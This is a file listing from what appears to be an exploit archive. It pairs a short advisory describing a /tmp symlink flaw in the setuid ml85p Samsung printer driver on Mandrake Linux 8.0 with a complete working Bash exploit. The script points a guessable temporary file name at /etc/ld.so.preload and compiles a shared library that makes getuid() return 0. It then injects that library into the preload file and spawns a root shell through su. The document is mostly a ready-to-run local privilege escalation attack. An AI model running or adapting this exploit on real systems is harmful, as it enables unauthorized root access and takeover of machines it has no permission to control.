880bbe402e
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61 lines
No EOL
1.8 KiB
Bash
Executable file
61 lines
No EOL
1.8 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/3008/info
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ml85p is a Linux driver for Samsung ML-85G series printers. It may be bundled with distributions of Ghostscript.
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ml85p does not check for symbolic links when creating image output files.
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These files are created in /tmp with a guessable naming format, making it trivial for attackers to exploit this vulnerability.
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Since user-supplied data is written to the target file, attackers may be able to elevate privileges.
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#!/bin/sh
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# Exploit using /usr/bin/ml85p default setuid program on
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# Mandrake Linux 8.0
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#
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# You need to be in the sys group to be able to execute
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# ml85p.
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echo "** ml85p exploit"
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# set the required umask
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umask 0
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# get the number of seconds since 1970
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DATE=`date +"%s"`
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if [ ! -u /usr/bin/ml85p ] || [ ! -x /usr/bin/ml85p ]
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then
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echo "** this exploit requires that /usr/bin/ml85p is setuid and
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executable."
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exit 1
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fi
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if [ ! -e /etc/ld.so.preload ] || [ ! -w /etc/ld.so.preload ]
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then
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echo "** this exploit requires that /etc/ld.so.preload does not exist."
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exit 1
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fi
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echo "** creating file"
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ln -s /etc/ld.so.preload /tmp/ml85g"$DATE"
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echo "bleh" | /usr/bin/ml85p -s
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rm /tmp/ml85g"$DATE"
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echo "** creating shared library"
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cat << _EOF_ > /tmp/g.c
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int getuid(void) { return(0); }
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_EOF_
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echo "** compiling and linking shared object"
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gcc -c -o /tmp/g.o /tmp/g.c
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ld -shared -o /tmp/g.so /tmp/g.o
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rm -f /tmp/g.c /tmp/g.o
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echo "** rigging ld.so.preload"
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echo "/tmp/g.so" > /etc/ld.so.preload
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echo "** execute su. warning all getuid() calls will return(0) until you remove"
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echo "** the line \"/tmp/g.so\" from /etc/ld.so.preload. removing /tmp/g.so
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without"
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echo "** first fixing /etc/ld.so.preload may result in system malfunction"
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su -
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echo "** cleaning up"
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> /etc/ld.so.preload
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rm -f /tmp/g.so |